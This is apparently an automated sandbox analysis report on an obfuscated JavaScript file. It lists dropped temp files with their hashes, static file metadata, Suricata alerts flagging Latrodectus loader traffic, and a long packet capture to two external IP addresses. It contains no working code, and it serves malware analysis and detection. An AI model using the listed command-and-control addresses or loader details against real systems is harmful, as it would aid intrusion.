Size (bytes):	32768
Entropy (8bit):	1.2563734827764652
Encrypted:	false
SSDEEP:	48:NmLufPvGFXO7T5yX2qSwYAErCyE9c7uSiHqSwmT3Nxv:gL12TEX2qZnwCx4WHqZW
MD5:	0EFDF746E575A82FC3B2E37FC6F62063
SHA1:	F6BE1DB30500C516175EE4B6E7731BDA05872734
SHA-256:	82EEACF622F4F47B03069FAC6135EE2F93E48EF49F75E532894D0168CD7DA8AB
SHA-512:	4C8565344B1BD6FC30E56715E2E4D7D901102D1C8AF0ED0DBF91F34C6E42F5C5C0085904FB2113C0928455E33CE75D5331BBDC79AF56FE2F28298F26D32F9495
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF5AD112C063E48280.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF7DC560C654532278.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF807DDA6E2CC4FCB3.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF86BE8C190D62B24E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF93ACB531B807E54B.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.138484202186345
Encrypted:	false
SSDEEP:	24:5NxSAhMwTx0RqipV0RQ0RqipV0RYAEV0yjCyEV3+bpGw7sGgSi+FSnc+FC0:5NxvnTkqSwVqSwYAErCyE9c7uSi0k
MD5:	A974A3C4E0428978197CC3D2FE7CFD71
SHA1:	1469D8AAB74FF72EC8EB371B188D03CCD1170AD9
SHA-256:	53CBD860FC95C1D099C02D223627134FBC625783131DC5A49224E6B6F75D0BB0
SHA-512:	8C60B46C89A7728A16D242376B2B3DC143EE60ACA042471C16567311260D2C20C1AB233479CC7FEE4AE81A3ADD0DC309F517F9BB9C1556C1D0AF39AC621C34BA
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFB0630E4CDB4C0FEB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFED22D1FE613BF34C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2563734827764652
Encrypted:	false
SSDEEP:	48:NmLufPvGFXO7T5yX2qSwYAErCyE9c7uSiHqSwmT3Nxv:gL12TEX2qZnwCx4WHqZW
MD5:	0EFDF746E575A82FC3B2E37FC6F62063
SHA1:	F6BE1DB30500C516175EE4B6E7731BDA05872734
SHA-256:	82EEACF622F4F47B03069FAC6135EE2F93E48EF49F75E532894D0168CD7DA8AB
SHA-512:	4C8565344B1BD6FC30E56715E2E4D7D901102D1C8AF0ED0DBF91F34C6E42F5C5C0085904FB2113C0928455E33CE75D5331BBDC79AF56FE2F28298F26D32F9495
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Unicode text, UTF-8 text, with very long lines (952), with CRLF, CR, NEL line terminators
Entropy (8bit):	6.044529025662541
TrID:
File name:	Document-18-33-08.js
File size:	348'334 bytes
MD5:	c05645ed2ec3ff5c541b99d20011a488
SHA1:	6822c03f0781ac932c31747610f1fe1039f6861f
SHA256:	a9a4640e3887e4ee71ae0e0624afa6b8fa6a22cdffd190f1d83234109dd8496d
SHA512:	5c931e2c1c677bf2f9945b71d59f2b561d16fc43fcc3a51347e4787b2c16c0818356b0d77f889d6eacc0a3c549f1ae99f3ee145427ef13cfd94ce6175b4a7478
SSDEEP:	6144:jkrTzZUnqgeguE0Hz5q9viFrdTCSaJPFVQTo6AP99eZ4krLBsxHfn5:8XSn7uEMzU9viFrtbap+52I4KLBsP
TLSH:	BD74E001030BF3F0A19624F99C4283F5A5018FADB7D9B930C619EB72299E52E769F5D3
File Content Preview:	../* <....*5K......n....>[........Q....n..y/.._J..{....Rz......3K..}....\\'..j\\'..P....~..8........_..........I........M../os[;5h......6..........QZ......?..tGx..#..>6..{....Yqp.... ..$=..x........$......................R7........]....K.....w.... ,..S}..

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T20:44:05.187319+0200	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50048	188.114.96.3	443	TCP
2024-10-03T20:44:08.857690+0200	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50050	188.114.96.3	443	TCP
2024-10-03T20:44:10.117125+0200	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50051	188.114.96.3	443	TCP
2024-10-03T20:44:14.824356+0200	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50053	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 20:42:00.962862968 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:00.974510908 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:00.974626064 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:00.974850893 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:00.980875969 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.586335897 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.586365938 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.586381912 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.586433887 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.586436033 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.586450100 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.586464882 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.586482048 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.586492062 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.586519957 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.586790085 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.586806059 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.586823940 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.586832047 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.586867094 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.591295958 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.591588020 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.591639996 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.674061060 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.674087048 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.674103975 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.674149990 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.674206972 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.674253941 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.679784060 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.679821014 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.679872990 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.679927111 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.679961920 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.680012941 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.685434103 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.685472012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.685503006 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.685549021 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.685579062 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.685626030 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.685765028 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.691489935 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.691526890 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.691565990 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.696600914 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.696664095 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.696671009 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.696701050 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.696734905 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.696768045 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.696772099 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.696830988 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.701530933 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.701594114 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.701636076 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.701654911 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.701672077 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.701700926 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.701721907 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.756961107 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.759812117 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.759856939 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.759871006 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.759917021 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.759951115 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.759967089 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.765645027 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.765666008 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.765722036 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.765774965 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.765790939 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.765832901 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.771424055 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.771446943 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.771461964 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.771528959 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.771550894 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.771568060 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.771600962 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.777194023 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.777214050 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.777235031 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.777249098 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.777283907 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.777338982 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.777354956 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.777407885 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.783045053 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.783065081 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.783123970 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.783175945 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.783356905 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.783409119 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.787832022 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.787853003 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.787918091 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.788077116 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.788094044 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.788108110 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.788183928 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.792624950 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.792645931 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.792690992 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.792993069 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.793010950 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.793061018 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.797527075 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797549009 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797564983 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797580957 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797595024 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.797596931 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797612906 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797626019 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.797629118 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797645092 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797661066 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797674894 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797689915 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.797718048 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.797909975 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797926903 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797941923 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797956944 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797967911 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.797971010 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797986984 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.797987938 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.798002005 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.798017979 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.798019886 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.798074961 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.847271919 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.847316980 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.847330093 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.847362041 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.847373009 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.847397089 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.847409010 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.847465992 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.847501040 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.847548008 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.847615957 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.848190069 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.848344088 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.848359108 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.848398924 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.848423004 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.848474979 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.848845959 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.848933935 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.848948956 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.848987103 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.849118948 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.849133015 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.849184036 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.849699974 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.849765062 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.849786043 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.849803925 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.849858046 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.849953890 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.849972963 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.850029945 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.850622892 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.850672007 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.850687027 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.850733042 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.850857019 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.850874901 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.850907087 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.851547003 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.851620913 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.851630926 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.851648092 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.851841927 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.851859093 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.851895094 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.851917982 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.852418900 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.852511883 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.852528095 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.852624893 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.852684975 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.852699995 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.852741957 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.853322029 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.853389978 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.853399992 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.853415012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.853458881 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.853605032 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.853620052 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.853681087 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.854269981 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.854343891 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.854361057 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.854413986 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.854800940 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.854859114 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.854878902 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.854895115 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.854945898 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.855074883 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.855089903 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.855143070 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.855710983 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.855839968 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.855910063 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.856038094 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.856055021 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.856106043 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.856153965 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.856170893 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.856237888 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.856317043 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.856333971 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.856381893 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.856913090 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.856991053 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.857006073 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.857074976 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.857192993 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.857208967 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.857224941 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.857248068 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.857274055 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.857738018 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.857860088 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.857880116 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.857907057 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.857997894 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.858012915 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.858028889 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.858052015 CEST	49704	80	192.168.2.5	188.119.112.7
